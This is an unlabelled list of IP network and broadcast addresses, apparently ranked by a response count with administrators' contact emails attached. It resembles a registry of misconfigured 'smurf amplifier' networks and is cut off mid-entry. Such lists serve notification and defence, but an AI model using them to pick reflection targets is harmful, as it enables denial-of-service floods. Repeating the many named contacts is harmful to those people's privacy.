bhufendick@forsythe.com 21 204.248.234.255 bhufendick@forsythe.com 21 204.254.10.0 help@uunet.uu.net 21 204.254.8.0 help@uunet.uu.net 21 204.254.8.255 help@uunet.uu.net 21 204.48.149.0 tuma@ceo.sbceo.k12.ca.us 21 204.48.149.255 tuma@ceo.sbceo.k12.ca.us 21 205.213.18.0 Marlys.A.Nelson@uwrf.edu 21 205.246.52.255 carter@dgsys.com 21 205.253.114.0 karl@mcs.com 21 206.140.82.0 lak@aads.net 21 206.140.82.255 lak@aads.net 21 206.155.128.0 nomailbox@nowhere 21 206.155.128.255 nomailbox@nowhere 21 206.155.129.0 nomailbox@nowhere 21 206.155.129.255 nomailbox@nowhere 21 206.166.202.0 simonton@chlaw.com 21 206.166.202.255 simonton@chlaw.com 21 210.237.174.0 hostmaster@nic.ad.jp 21 210.237.174.255 hostmaster@nic.ad.jp 21 208.12.176.0 nomailbox@nowhere 21 208.12.176.255 nomailbox@nowhere 21 208.204.158.0 brett@winkcomm.com 21 210.156.197.0 hostmaster@nic.ad.jp 21 210.156.207.0 hostmaster@nic.ad.jp 21 208.204.158.255 brett@winkcomm.com 21 210.156.197.255 hostmaster@nic.ad.jp 21 207.213.16.0 nomailbox@nowhere 21 207.213.16.255 nomailbox@nowhere 21 210.225.196.255 hostmaster@nic.ad.jp 21 208.205.235.255 amurarka@splyglass.com 21 208.205.235.0 amurarka@splyglass.com 21 209.100.42.255 dmarlow@ccm.net 21 209.3.104.255 support@iconnet.net 21 209.21.153.255 hostmaster@harvard.net 21 210.156.207.255 hostmaster@nic.ad.jp 21 208.3.238.255 parker@nandover.mec.edu 21 209.77.127.0 rick@foothill.net 21 207.43.198.0 larry@amicus.com 21 210.67.64.255 JamesKLin@acer.net, JacksonWeng@acer.net 21 207.43.199.255 larry@amicus.com 21 207.196.146.0 marsh@selway.umt.edu 21 207.176.171.0 rpatch@skylinc.net 21 207.196.146.255 marsh@selway.umt.edu 21 207.183.157.255 noc@unicom.net 21 207.176.171.255 rpatch@skylinc.net 21 207.107.84.255 noc@sprint-canada.net 21 207.71.209.255 domreg@silcom.com 21 208.14.42.0 jerry@digital.net 21 206.74.69.0 mckee@admin.infoave.net 21 210.118.74.0 mgr@samsung.co.kr, ip@samsung.co.kr 21 206.74.198.0 mckee@admin.infoave.net 21 209.213.205.0 mickey@nanospace.com 21 208.211.250.0 aharris@greysf.com 21 206.74.69.255 mckee@admin.infoave.net 21 210.118.74.255 mgr@samsung.co.kr, ip@samsung.co.kr 21 208.152.111.255 jbrown@busprod.com 21 206.74.198.255 mckee@admin.infoave.net 21 207.86.229.255 dns@digex.net 21 207.111.2.0 jwilder@eric.mower.com 21 208.152.111.0 jbrown@busprod.com 21 209.233.239.0 ip-admin@pbi.net 21 208.216.228.255 dcl@xns.net 21 208.224.77.255 timmy@bcn.net 21 209.134.22.0 noc@worldsite.net 21 206.26.77.0 valdez@206.26.76.10 21 209.134.22.255 noc@worldsite.net 21 208.163.48.0 brian@mediacity.com 21 210.165.18.0 hostmaster@nic.ad.jp 21 207.62.155.0 netadmin@moe.calpoly.edu 21 208.150.208.0 aselden@wgm.org 21 206.3.34.255 hostinfo@psi.com 21 208.150.208.255 aselden@wgm.org 21 216.190.16.0 scottm@mpire.net 21 216.46.78.0 admin@terabit.net 21 216.190.16.255 scottm@mpire.net 21 207.125.25.255 ip-mgr@mail.state.tn.us 21 216.46.78.255 admin@terabit.net 21 207.243.35.255 nomailbox@nowhere 21 210.235.130.255 hostmaster@nic.ad.jp 21 209.108.94.0 21 209.145.20.0 peterb@imagine.com 21 212.47.201.0 neeme@data.ee, cougar@data.ee 21 216.168.240.0 cwei@netsol.com 21 209.145.20.255 peterb@imagine.com 20 62.132.254.0 reckert@vobis.de, stolz@vobis.de 20 62.132.254.255 reckert@vobis.de, stolz@vobis.de 20 192.204.84.0 20 192.204.84.255 20 193.15.43.255 20 193.164.172.0 tony@anglianet.co.uk 20 193.47.32.0 20 193.47.60.0 20 193.52.147.0 Gerard.Lietout@univ-rouen.fr 20 194.109.94.0 netmaster@xs4all.nl, sasja@lostboys.nl 20 194.168.255.0 nmc@ntli.net, amon@vnl.com 20 194.168.255.255 nmc@ntli.net, amon@vnl.com 20 194.229.95.255 20 194.250.16.0 bourgeois@fermic.fr, niel@fermic.fr 20 194.255.12.0 paaske@internet.dk 20 194.255.12.255 paaske@internet.dk 20 194.65.129.0 sialrm@mail.telepac.pt 20 195.146.32.0 dci@dci.iran.com, mohebali@www.dci.co.ir 20 195.224.212.0 nic@gxn.net, hatter@magic-moments.com 20 195.224.212.255 nic@gxn.net, hatter@magic-moments.com 20 195.25.165.255 hostmaster@oleane.net, amorise@allnet.fr 20 195.7.221.0 bulderm@psi.com 20 195.7.221.255 bulderm@psi.com 20 195.89.160.0 matthew@flexnet.net 20 195.89.163.0 matthew@flexnet.net 20 195.89.163.255 matthew@flexnet.net 20 198.145.48.0 dns@e-z.net 20 198.189.54.0 nes@4c.net 20 199.172.116.0 jeffs@sykes.com 20 199.172.116.255 jeffs@sykes.com 20 199.172.117.0 jeffs@sykes.com 20 199.172.117.255 jeffs@sykes.com 20 199.237.181.0 domainmaster@nw.verio.net 20 199.237.181.255 domainmaster@nw.verio.net 20 199.254.12.0 grw@sequana.com 20 199.80.64.255 mjd@te6000.otc.lsu.edu 20 200.10.112.0 carlospe@ssdnet.com.ar 20 200.10.112.255 carlospe@ssdnet.com.ar 20 200.23.168.255 alex@lince.itcelaya.ciateq.mx 20 200.34.53.0 manza@sureste.com 20 200.38.83.0 a_gd@hotmail.com 20 200.38.83.255 a_gd@hotmail.com 20 200.47.26.0 linoc@comsat.com.ar 20 200.47.26.255 linoc@comsat.com.ar 20 202.218.13.255 technical@apnic.net 20 202.225.130.0 20 202.32.54.255 hostmaster@nic.ad.jp 20 202.77.143.0 belcina@attmail.com 20 202.77.143.255 belcina@attmail.com 20 202.77.144.0 belcina@attmail.com 20 202.99.5.0 20 203.127.92.255 cheong@singnet.com.sg, hostmaster@singnet.com.sg 20 203.146.20.0 kitti@gssthai.com, tc@loxinfo.co.th 20 204.133.45.0 sbrown@co.weld.co.us 20 204.133.45.255 sbrown@co.weld.co.us 20 204.196.30.0 shreid@alpha.nsula.edu 20 204.243.104.255 hostinfo@psi.com 20 204.7.252.0 hostinfo@psi.com 20 204.7.252.255 hostinfo@psi.com 20 205.146.44.255 20 205.178.35.255 dave@brainstorm.net 20 205.205.76.255 leveque@mediafusion.ca 20 205.217.139.0 steve-breese@icva.gov 20 205.217.139.255 steve-breese@icva.gov 20 205.230.89.0 help@uunet.uu.net 20 205.230.89.255 help@uunet.uu.net 20 205.231.229.0 Daniel.Malcor@internetaddress.com 20 205.231.229.255 Daniel.Malcor@internetaddress.com 20 205.253.201.0 karl@mcs.com 20 206.154.117.0 gcoodley@siebel.com 20 206.154.117.255 gcoodley@siebel.com 20 208.153.241.255 lnguyen@gstworld.net 20 206.23.186.0 jwinters@tec.net 20 206.253.240.255 cql@cdimed.com 20 210.67.64.0 JamesKLin@acer.net, JacksonWeng@acer.net 20 208.211.250.255 aharris@greysf.com 20 207.212.34.0 ip-admin@pbi.net 20 207.245.43.0 NOCToronto@metronet.ca 20 210.135.90.0 hostmaster@nic.ad.jp 20 209.140.145.0 darin@good.net 20 212.33.192.0 tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo 20 207.71.245.0 domreg@silcom.com 20 207.212.34.255 ip-admin@pbi.net 20 210.135.90.255 hostmaster@nic.ad.jp 20 207.237.144.255 domreg@interport.net 20 209.140.145.255 darin@good.net 20 212.33.192.255 tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo 20 207.55.211.255 techsup@nkn.net 20 216.12.32.0 dns@cfw.com 20 216.50.66.0 technical@kivex.com 20 207.62.158.0 netadmin@moe.calpoly.edu 20 208.242.160.0 melkor@ulster.net 20 208.21.40.255 nomailbox@nowhere 20 216.50.66.255 technical@kivex.com 20 208.242.160.255 melkor@ulster.net 20 206.23.186.255 jwinters@tec.net 20 206.63.192.255 edm@nwnexus.wa.com 20 207.202.45.0 noc@corp.idt.net 20 208.200.173.0 jd@dynasty.net 20 207.202.45.255 noc@corp.idt.net 20 208.200.173.255 jd@dynasty.net 20 207.122.21.0 ops@bbnplanet.com 20 209.173.69.0 bni@bnisolutions.com 20 210.72.253.0 flink@flink.cn.net, flink@flink.cn.net 20 207.122.17.255 ops@bbnplanet.com 20 207.122.21.255 ops@bbnplanet.com 20 216.84.9.0 netadmin@southernet.net 20 207.122.17.0 ops@bbnplanet.com 20 207.113.158.0 hostmaster@crl.com 20 207.220.64.255 ejm@amadaamerica.com 20 207.113.158.255 hostmaster@crl.com 20 207.142.199.255 Torrisi@pcsltd.com 20 208.167.58.0 jmalerbi@turningpoint.com 20 208.167.58.255 20 209.91.205.255 cmarazzi@caribe.net 20 209.133.189.0 colgate@oir.state.sc.us 20 209.133.189.255 colgate@oir.state.sc.us 20 212.68.64.0 steffens@wespe.de, schmidt@digadd.de, andreas@wespe.de 20 206.52.82.0 bdot@toto.net 20 212.68.64.255 steffens@wespe.de, schmidt@digadd.de, andreas@wespe.de 20 207.177.122.255 20 208.164.139.255 webmaster@inu.net 20 208.164.139.0 webmaster@inu.net 20 209.56.155.0 dave.klinkefus@icn.state.ia.us 20 210.61.164.0 mchuang@ever.com.tw 20 206.23.185.0 jwinters@tec.net 20 210.61.164.255 mchuang@ever.com.tw 20 210.61.166.255 admin@hinet.net, chlin@netnews.hinet.net 20 206.23.185.255 jwinters@tec.net 20 209.38.3.0 dnsadmin@rmi.net 20 206.30.10.0 dgrosskopf@startek.com 20 209.38.3.255 dnsadmin@rmi.net 20 206.30.10.255 dgrosskopf@startek.com 20 208.158.116.0 nomailbox@nowhere 20 210.235.130.0 hostmaster@nic.ad.jp 20 207.230.223.0 network@centurytel.com 20 209.75.197.255 noc@atmnet.net 20 216.206.135.0 rsmith@hop-electric.com 20 216.60.246.0 hostmaster@swbell.net 20 216.206.135.255 rsmith@hop-electric.com 20 207.77.119.0 20 207.77.119.255 postmaster@ellstreet.com 20 206.52.82.255 bdot@toto.net 20 207.165.76.0 dave.klinkefus@icn.state.ia.us 20 207.165.76.255 dave.klinkefus@icn.state.ia.us 19 63.67.55.0 nomailbox@nowhere 19 155.50.25.0 bgallant@keps.com 19 155.50.25.255 bgallant@keps.com 19 161.223.113.0 19 161.223.113.255 19 161.223.126.255 19 161.223.34.0 19 161.223.34.255 19 193.119.172.0 19 193.140.128.0 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr 19 193.140.128.255 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr 19 193.140.130.255 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr 19 193.140.141.0 19 193.140.141.255 19 194.199.122.0 maxcasty@tin.it 19 194.199.122.255 maxcasty@tin.it 19 194.217.222.255 postmaster@heathmill.com 19 194.217.65.255 postmaster@lifecomputers.com 19 194.250.16.255 bourgeois@fermic.fr, niel@fermic.fr 19 195.141.97.0 peter.gilli@ubs.com 19 195.220.182.0 Patrice.Koch@univ-fcomte.fr, Gilles.Joly@univ- fcomte.fr 19 195.249.89.255 19 195.97.167.255 hein@euroconnect.net 19 198.107.47.255 jackp@ogitel.net 19 198.182.200.0 nizar@elem.com 19 198.64.37.0 hostmaster@sesqui.net 19 198.64.37.255 hostmaster@sesqui.net 19 199.100.114.255 hostinfo@psi.com 19 199.104.86.255 Bryon.Boam@mhz.com 19 199.106.0.0 dns@cerf.net 19 199.111.79.0 jaj@virginia.edu 19 199.111.79.255 jaj@virginia.edu 19 199.111.88.0 jaj@virginia.edu 19 199.111.88.255 jaj@virginia.edu 19 199.249.128.0 rcc@ancor.com 19 199.75.86.0 pammer@ususp.mo.md.us 19 199.75.86.255 pammer@ususp.mo.md.us 19 200.34.53.255 manza@sureste.com 19 202.160.8.0 rao@technet.sg 19 202.160.8.255 rao@technet.sg 19 202.179.228.0 19 202.179.232.0 19 202.216.64.0 technical@apnic.net 19 202.216.64.255 technical@apnic.net 19 202.234.38.0 hostmaster@nic.ad.jp 19 202.234.38.255 hostmaster@nic.ad.jp 19 202.36.235.0 nzhollley@applelink.apple.com 19 202.36.235.255 nzhollley@applelink.apple.com 19 202.94.7.0 michael@netchina.co.cn 19 203.146.20.255 kitti@gssthai.com, tc@loxinfo.co.th 19 203.16.25.0 hostmaster@telstra.net 19 203.179.96.0 hostmaster@nic.ad.jp 19 203.179.96.255 hostmaster@nic.ad.jp 19 203.182.136.0 hostmaster@nic.ad.jp 19 203.182.136.255 hostmaster@nic.ad.jp 19 203.182.32.0 hostmaster@nic.ad.jp 19 203.182.32.255 hostmaster@nic.ad.jp 19 203.183.120.0 hostmaster@nic.ad.jp 19 203.2.133.0 acer-au@NIC.AU.NET 19 203.2.133.255 acer-au@NIC.AU.NET 19 203.20.92.0 hostmaster@telstra.net 19 204.131.108.0 emontero@gmgw.com 19 204.131.108.255 emontero@gmgw.com 19 204.133.157.0 kenf@evt.com 19 204.189.114.255 buddyj@hic.net 19 204.193.150.0 noc@cyberconnection.com 19 204.193.150.255 noc@cyberconnection.com 19 204.201.1.0 its@nw.verio.net 19 204.201.1.255 its@nw.verio.net 19 204.210.65.0 rwintel@twmaine.com 19 204.210.65.255 rwintel@twmaine.com 19 204.243.104.0 hostinfo@psi.com 19 204.29.120.0 DNS@asc.edu 19 204.29.120.255 DNS@asc.edu 19 204.29.82.0 DNS@asc.edu 19 204.29.82.255 DNS@asc.edu 19 204.60.10.0 cmiller@snet.net 19 204.60.10.255 cmiller@snet.net 19 204.60.11.0 cmiller@snet.net 19 204.60.11.255 cmiller@snet.net 19 204.60.8.0 cmiller@snet.net 19 204.60.8.255 cmiller@snet.net 19 204.60.9.0 cmiller@snet.net 19 204.60.9.255 cmiller@snet.net 19 204.92.78.0 wayne@hodes.com 19 204.92.78.255 wayne@hodes.com 19 204.96.174.255 19 205.124.132.0 mcleary@uen.org 19 205.124.132.255 mcleary@uen.org 19 205.126.32.0 mcleary@uen.org 19 205.126.32.255 mcleary@uen.org 19 205.139.138.0 cengiz@netmar.com 19 205.139.138.255 cengiz@netmar.com 19 205.146.44.0 19 205.151.60.0 rivard@bdds.com 19 205.151.60.255 rivard@bdds.com 19 205.171.33.0 hostmaster@csn.net 19 205.171.33.255 hostmaster@csn.net 19 205.174.194.0 dharringt@deq.state.va.us 19 205.174.194.255 dharringt@deq.state.va.us 19 205.200.212.0 lesko@mts.net 19 205.200.212.255 lesko@mts.net 19 205.205.131.0 dgiroux@cenosis.com 19 205.229.125.255 twright@cathedral.org 19 205.229.126.255 twright@cathedral.org 19 206.102.165.255 nomailbox@nowhere 19 206.104.254.0 tony@sonet.net 19 206.104.254.255 tony@sonet.net 19 207.12.145.255 sbeverly@wavegate.com 19 206.6.19.0 hostinfo@psi.com 19 208.153.241.0 lnguyen@gstworld.net 19 206.23.195.255 jwinters@tec.net 19 209.212.228.0 andym@ntt.net 19 206.253.240.0 cql@cdimed.com 19 209.122.182.0 domreg@erols.com 19 209.172.65.255 hostmaster@innetix.com 19 207.113.154.255 hostmaster@crl.com 19 208.163.133.0 tony.kliphuis@quebecorusa.com 19 207.237.174.0 domreg@interport.net 19 206.216.219.0 kdelande@neton-line.com 19 208.161.62.255 jdm@networkcs.com 19 208.163.133.255 tony.kliphuis@quebecorusa.com 19 207.237.174.255 domreg@interport.net 19 206.216.219.255 kdelande@neton-line.com 19 207.205.77.0 dhovland@mpegla.com 19 209.5.112.0 noc@sprint-canada.net 19 209.5.116.0 noc@sprint-canada.net 19 209.5.117.0 noc@sprint-canada.net 19 209.5.118.0 noc@sprint-canada.net 19 209.183.196.0 noc@atlantech.net 19 209.16.223.0 james@fastrans.net 19 210.160.254.0 hostmaster@nic.ad.jp 19 216.93.12.255 ipadmin@voyager.net 19 207.1.76.255 nomailbox@nowhere 19 209.5.112.255 noc@sprint-canada.net 19 209.5.116.255 noc@sprint-canada.net 19 209.5.117.255 noc@sprint-canada.net 19 209.5.118.255 noc@sprint-canada.net 19 210.160.254.255 hostmaster@nic.ad.jp 19 207.64.19.0 o_cresson@twu.edu 19 207.168.219.0 dnstech@eni.net 19 216.12.32.255 dns@cfw.com 19 207.168.219.255 dnstech@eni.net 19 207.242.168.0 info@osuny.com 19 206.26.226.0 jjs@midcoast.com 19 209.84.232.0 ipadmin@gte.net 19 216.24.4.255 tague@win.net 19 207.64.19.255 o_cresson@twu.edu 19 207.242.168.255 info@osuny.com 19 206.26.226.255 jjs@midcoast.com 19 209.84.232.255 ipadmin@gte.net 19 210.171.0.0 hostmaster@nic.ad.jp 19 207.230.88.0 tony@sonet.net 19 210.163.149.0 hostmaster@nic.ad.jp 19 210.171.0.255 hostmaster@nic.ad.jp 19 207.230.88.255 tony@sonet.net 19 207.126.109.255 noc@above.net 19 208.149.222.255 domreg@cicom.net 19 207.139.14.0 wojciech@gbmicro.com 19 208.150.5.255 hostmaster@netmcr.com 19 208.242.140.255 lykenss1@equimed.com 19 206.64.176.255 noc@itg.net 19 208.155.228.255 ipswip@cw.net 19 208.229.142.0 gbooth@internetwerx.com 19 207.142.199.0 Torrisi@pcsltd.com 19 208.168.235.0 tblackm@remc8.k12.mi.us 19 207.133.114.255 HOSTMASTER@nic.mil 19 208.168.235.255 tblackm@remc8.k12.mi.us 19 206.204.38.0 noc@conxion.net 19 207.234.23.255 hostmaster@telalink.net 19 208.199.187.255 meta4@interramp.com 19 207.234.23.0 hostmaster@telalink.net 19 208.15.164.255 tony@atapco-custom.com 19 216.30.18.0 kenneth@jump.net 19 208.224.77.0 timmy@bcn.net 19 216.30.18.255 kenneth@jump.net 19 210.61.166.0 admin@hinet.net, chlin@netnews.hinet.net 19 209.22.10.0 HOSTMASTER@nic.mil 19 208.165.12.0 rick@augustmartin.net 19 208.165.14.0 rick@augustmartin.net 19 208.165.15.0 rick@augustmartin.net 19 209.22.10.255 HOSTMASTER@nic.mil 19 208.165.12.255 rick@augustmartin.net 19 208.165.14.255 rick@augustmartin.net 19 208.165.15.255 rick@augustmartin.net 19 210.249.139.0 maruyama@nic.ad.jp, yasuhiro@nic.ad.jp, kojima@nic.ad.jp, kentaro@nic.ad.jp 19 210.249.139.255 maruyama@nic.ad.jp, yasuhiro@nic.ad.jp, kojima@nic.ad.jp, kentaro@nic.ad.jp 19 209.161.37.0 dave@cyberhighway.net 19 209.161.37.255 dave@cyberhighway.net 19 209.227.8.0 eric@mxol.com 19 206.247.91.0 rkd@rmi.net 19 209.227.8.255 eric@mxol.com 19 208.17.89.255 gpiran@metrocon.com 19 206.247.91.255 rkd@rmi.net 19 209.242.205.255 jim@alphachannel.com 19 209.177.50.0 siavash@medaille.edu 19 207.28.110.0 dave.klinkefus@icn.state.ia.us 19 209.106.32.255 ben@more.net 19 209.177.50.255 siavash@medaille.edu 19 207.28.110.255 dave.klinkefus@icn.state.ia.us 19 207.139.157.255 pbreton@mediagrif.com 19 209.106.33.0 ben@more.net 19 209.172.101.255 hostmaster@innetix.com 19 216.102.249.255 ip-admin@pbi.net 18 62.8.10.0 lemann@gulliver.fr 18 62.8.10.255 lemann@gulliver.fr 18 62.8.11.255 lemann@gulliver.fr 18 152.9.52.0 westg@mars.nccu.edu 18 152.9.52.255 westg@mars.nccu.edu 18 167.199.232.0 jda51@state.ga.us 18 167.199.232.255 jda51@state.ga.us 18 192.174.42.0 18 192.174.42.255 18 192.246.227.0 hostinfo@psi.com 18 192.246.227.255 hostinfo@psi.com 18 192.93.178.0 Annie.Renard@inria.fr 18 192.93.79.0 Annie.Renard@inria.fr 18 192.93.79.255 Annie.Renard@inria.fr 18 193.13.178.0 18 193.13.178.255 18 193.180.104.0 bengt.skoog@helsingborg.se 18 193.180.104.255 bengt.skoog@helsingborg.se 18 193.204.215.255 staff-lir@garr.net, Enzo.Valente@infn.it, lupi@sdc.asi.it 18 193.52.75.0 dupre@genome.vjf.inserm.fr 18 193.52.75.255 dupre@genome.vjf.inserm.fr 18 194.112.195.0 joerg.jakober@plus.at, Philip.Hammersley@plus.at 18 194.112.195.255 joerg.jakober@plus.at, Philip.Hammersley@plus.at 18 194.183.102.0 jpd@caop.nl 18 194.183.102.255 jpd@caop.nl 18 194.183.204.255 ndenise@siris.fr, ruch@siris.fr 18 194.183.218.0 lemann@gulliver.fr 18 194.183.218.255 lemann@gulliver.fr 18 194.217.183.255 postmaster@network-technology.com 18 194.217.65.0 postmaster@lifecomputers.com 18 194.229.95.0 18 194.254.140.0 Philippe.Auclair@jouy.inra.fr, Claude.Zurbach@ensam.inra.fr 18 194.254.140.255 Philippe.Auclair@jouy.inra.fr, Claude.Zurbach@ensam.inra.fr 18 194.254.16.255 Philippe.Wender@insa-rouen.fr 18 194.254.171.0 florence@upn.univ-paris13.fr 18 194.45.167.0 kschmidt@applix.de, klisse@applix.de 18 194.45.167.255 kschmidt@applix.de, klisse@applix.de 18 194.57.0.0 techfem@mobilia.it 18 194.57.0.255 techfem@mobilia.it 18 194.57.11.0 techfem@mobilia.it 18 194.57.11.255 techfem@mobilia.it 18 194.73.58.0 18 194.73.58.255 18 195.122.12.0 Aleks.Maslobojev@apollo.lv 18 195.122.12.255 Aleks.Maslobojev@apollo.lv 18 195.249.71.0 18 195.249.71.255 18 195.26.32.0 jane.greening@4thwave.co.uk, mat.withers@4thwave.co.uk 18 195.26.32.255 jane.greening@4thwave.co.uk, mat.withers@4thwave.co.uk 18 195.30.20.0 max@blitz.net, holger@blitz.net 18 196.15.128.0 johans@igubu.saix.net 18 196.22.206.0 massel@neptune.co.za 18 198.114.68.0 wsanders@ccmg.lotus.com 18 198.114.68.255 wsanders@ccmg.lotus.com 18 198.214.170.0 D.Nash@utexas.edu 18 198.214.170.255 D.Nash@utexas.edu 18 199.119.8.255 http://103536.3617@compuserve.com 18 199.120.118.0 noc@netins.net 18 199.120.118.255 noc@netins.net 18 199.173.20.0 net-admin@intac.com 18 199.173.20.255 net-admin@intac.com 18 199.217.85.0 robertc@savvis.com 18 199.221.104.255 krish@ans.net 18 199.239.27.0 hostmaster@co.verio.net 18 199.239.27.255 hostmaster@co.verio.net 18 200.31.28.0 chris@impsat.net.ar 18 200.31.30.0 mvera@impsat.net.ec 18 200.34.71.0 2090823@mcimail.com 18 200.34.71.255 2090823@mcimail.com 18 202.104.151.255 18 202.211.34.255 technical@apnic.net 18 202.27.240.0 ashtonb@landcare.cri.nz, mclennanm@landcare.cri.nz 18 202.27.241.255 ashtonb@landcare.cri.nz, mclennanm@landcare.cri.nz 18 202.94.7.255 michael@netchina.co.cn 18 203.103.97.0 18 203.103.97.255 18 203.24.138.0 hostmaster@telstra.net 18 203.24.138.255 hostmaster@telstra.net 18 203.27.92.255 hostmaster@telstra.net 18 203.67.41.0 cjcherng@mozart.seed.net.tw, sysop@mozart.seed.net.tw 18 203.73.242.0 cjcherng@mozart.seed.net.tw, sysop@mozart.seed.net.tw 18 203.93.87.0 18 204.142.155.0 jtt@paragonsys.com 18 204.142.155.255 jtt@paragonsys.com 18 204.189.114.0 buddyj@hic.net 18 204.210.66.0 rwintel@twmaine.com 18 204.210.66.255 rwintel@twmaine.com 18 204.211.201.0 hostmaster@sips.state.nc.us 18 204.211.201.255 hostmaster@sips.state.nc.us 18 204.225.126.0 lowy@convoke.com 18 204.225.127.255 lowy@convoke.com 18 204.34.19.0 18 204.34.19.255 18 204.48.152.255 tuma@ceo.sbceo.k12.ca.us 18 204.57.187.255 edm@nwnexus.wa.com 18 204.95.48.255 karl@mcs.com 18 205.150.202.0 craig@garland-group.com 18 205.153.28.255 MWilliams@charter.com 18 205.218.4.255 nomailbox@nowhere 18 205.221.105.0 grpjl@iastate.edu 18 205.221.105.255 grpjl@iastate.edu 18 205.221.96.0 grpjl@iastate.edu 18 205.221.96.255 grpjl@iastate.edu 18 205.229.127.255 twright@cathedral.org 18 205.241.199.255 Niels@opup.org 18 205.243.207.0 ryan@inc.net 18 206.110.233.0 hostmaster@alameda-coe.k12.ca.us 18 206.110.233.255 hostmaster@alameda-coe.k12.ca.us 18 206.110.234.0 hostmaster@alameda-coe.k12.ca.us 18 206.110.234.255 hostmaster@alameda-coe.k12.ca.us 18 206.136.242.255 help@uunet.uu.net 18 206.140.86.0 lak@aads.net 18 206.140.87.0 lak@aads.net 18 206.149.40.255 reginfo@nkn.net 18 206.166.209.0 mwilliam@ptc.dcs.edu 18 206.166.209.255 mwilliam@ptc.dcs.edu 18 206.166.241.255 mwilliam@ptc.dcs.edu 18 206.166.242.0 mwilliam@ptc.dcs.edu 18 206.172.122.0 debbie@worldlinx.com 18 206.172.122.255 debbie@worldlinx.com 18 206.172.192.0 debbie@worldlinx.com 18 206.172.192.255 debbie@worldlinx.com 18 206.172.197.0 debbie@worldlinx.com 18 206.172.197.255 debbie@worldlinx.com 18 206.172.198.0 debbie@worldlinx.com 18 206.172.198.255 debbie@worldlinx.com 18 206.172.199.0 debbie@worldlinx.com 18 206.172.199.255 debbie@worldlinx.com 18 206.172.224.0 debbie@worldlinx.com 18 206.172.224.255 debbie@worldlinx.com 18 206.172.225.0 debbie@worldlinx.com 18 206.172.225.255 debbie@worldlinx.com 18 206.172.226.0 debbie@worldlinx.com 18 206.172.226.255 debbie@worldlinx.com 18 206.172.235.0 debbie@worldlinx.com 18 206.172.235.255 debbie@worldlinx.com 18 206.172.236.0 debbie@worldlinx.com 18 206.172.236.255 debbie@worldlinx.com 18 206.23.195.0 jwinters@tec.net 18 212.208.154.0 root@cppgroup.com, olemarie@fr.uu.net 18 209.212.228.255 andym@ntt.net 18 210.63.176.255 maxkuan@ttn.com.tw, dean@ht.net.tw 18 207.177.117.255 noc@netins.net 18 210.175.52.0 hostmaster@nic.ad.jp 18 210.175.52.255 hostmaster@nic.ad.jp 18 208.33.192.0 si@kca.net 18 207.173.214.0 abuse@eli.net 18 208.33.192.255 si@kca.net 18 207.233.34.255 nes@4c.net 18 216.93.12.0 ipadmin@voyager.net 18 208.223.124.0 nomailbox@nowhere 18 207.22.129.0 arrants@bmd.clis.com 18 206.228.161.0 NOC@sprint.net 18 212.250.209.0 nmc@ntli.net, kmarshall@ireng.com 18 209.198.249.0 noc@interpacket.net 18 208.223.124.255 nomailbox@nowhere 18 207.22.129.255 arrants@bmd.clis.com 18 206.228.161.255 NOC@sprint.net 18 212.250.209.255 nmc@ntli.net, kmarshall@ireng.com 18 209.198.249.255 noc@interpacket.net 18 209.85.25.0 hostmaster@softaware.com 18 207.107.105.0 noc@sprint-canada.net 18 209.5.121.0 noc@sprint-canada.net 18 209.5.122.0 noc@sprint-canada.net 18 207.107.152.0 noc@sprint-canada.net 18 207.107.153.0 noc@sprint-canada.net 18 209.63.198.0 sforester@e-infoinc.com 18 207.107.206.0 noc@sprint-canada.net 18 207.107.207.0 noc@sprint-canada.net 18 207.107.221.0 noc@sprint-canada.net 18 207.107.234.0 noc@sprint-canada.net 18 207.107.235.0 noc@sprint-canada.net 18 207.107.105.255 noc@sprint-canada.net 18 209.5.121.255 noc@sprint-canada.net 18 209.5.122.255 noc@sprint-canada.net 18 207.107.152.255 noc@sprint-canada.net 18 207.107.153.255 noc@sprint-canada.net 18 209.63.198.255 sforester@e-infoinc.com 18 207.107.206.255 noc@sprint-canada.net 18 207.107.207.255 noc@sprint-canada.net 18 207.99.208.255 art@lacoe.edu 18 207.107.221.255 noc@sprint-canada.net 18 207.107.234.255 noc@sprint-canada.net 18 207.107.235.255 noc@sprint-canada.net 18 210.69.250.255 18 208.21.40.0 nomailbox@nowhere 18 208.230.78.0 kstrange@net-temps.com 18 207.200.148.0 martinb@imag.net 18 207.200.149.0 martinb@imag.net 18 207.200.152.0 martinb@imag.net 18 207.200.155.0 martinb@imag.net 18 207.234.1.255 hostmaster@telalink.net 18 212.10.24.255 kskov@stofa.dk, kskov@pip.dknet.dk, tormelle@stofa.dk, tormelle@login.dknet.dk 18 208.230.78.255 kstrange@net-temps.com 18 216.101.117.255 18 207.200.148.255 martinb@imag.net 18 207.200.149.255 martinb@imag.net 18 207.200.150.255 martinb@imag.net 18 207.200.152.255 martinb@imag.net 18 207.200.153.255 martinb@imag.net 18 207.200.153.0 martinb@imag.net 18 207.200.154.0 martinb@imag.net 18 208.230.168.0 Hostmaster@digitalgreen.com 18 208.230.170.0 Hostmaster@digitalgreen.com 18 207.28.171.0 dave.klinkefus@icn.state.ia.us 18 208.158.229.0 jeff@digitalgreen.com 18 207.19.241.0 adam_rasmussen@highend.com 18 207.109.251.0 hostmaster@uswest.net 18 210.150.12.255 hostmaster@nic.ad.jp 18 208.170.101.255 mderrick@hiwaay.net 18 212.12.129.255 ibrahim@fornet.net.tr, ilker@fornet.net.tr, eren@fornet.net.tr, teknik@fornet.net.tr 18 207.200.155.255 martinb@imag.net 18 208.230.168.255 Hostmaster@digitalgreen.com 18 207.28.171.255 dave.klinkefus@icn.state.ia.us 18 208.158.229.255 jeff@digitalgreen.com 18 208.158.230.255 jeff@digitalgreen.com 18 207.19.241.255 adam_rasmussen@highend.com 18 207.109.251.255 hostmaster@uswest.net 18 207.223.57.0 maa@jwgnet.com 18 216.190.92.0 SLB@jenkon.com 18 207.200.150.0 martinb@imag.net 18 207.200.151.0 martinb@imag.net 18 216.13.163.0 martinb@imag.net 18 207.223.57.255 maa@jwgnet.com 18 216.190.92.255 SLB@jenkon.com 18 207.200.151.255 martinb@imag.net 18 216.13.163.255 martinb@imag.net 18 209.76.204.0 18 209.76.204.255 jhoulding@psr.edu 18 216.107.0.0 engineering@nni.com 18 216.107.5.0 engineering@nni.com 18 216.107.6.0 engineering@nni.com 18 216.107.13.0 engineering@nni.com 18 216.107.18.0 engineering@nni.com 18 216.107.20.0 engineering@nni.com 18 216.107.23.0 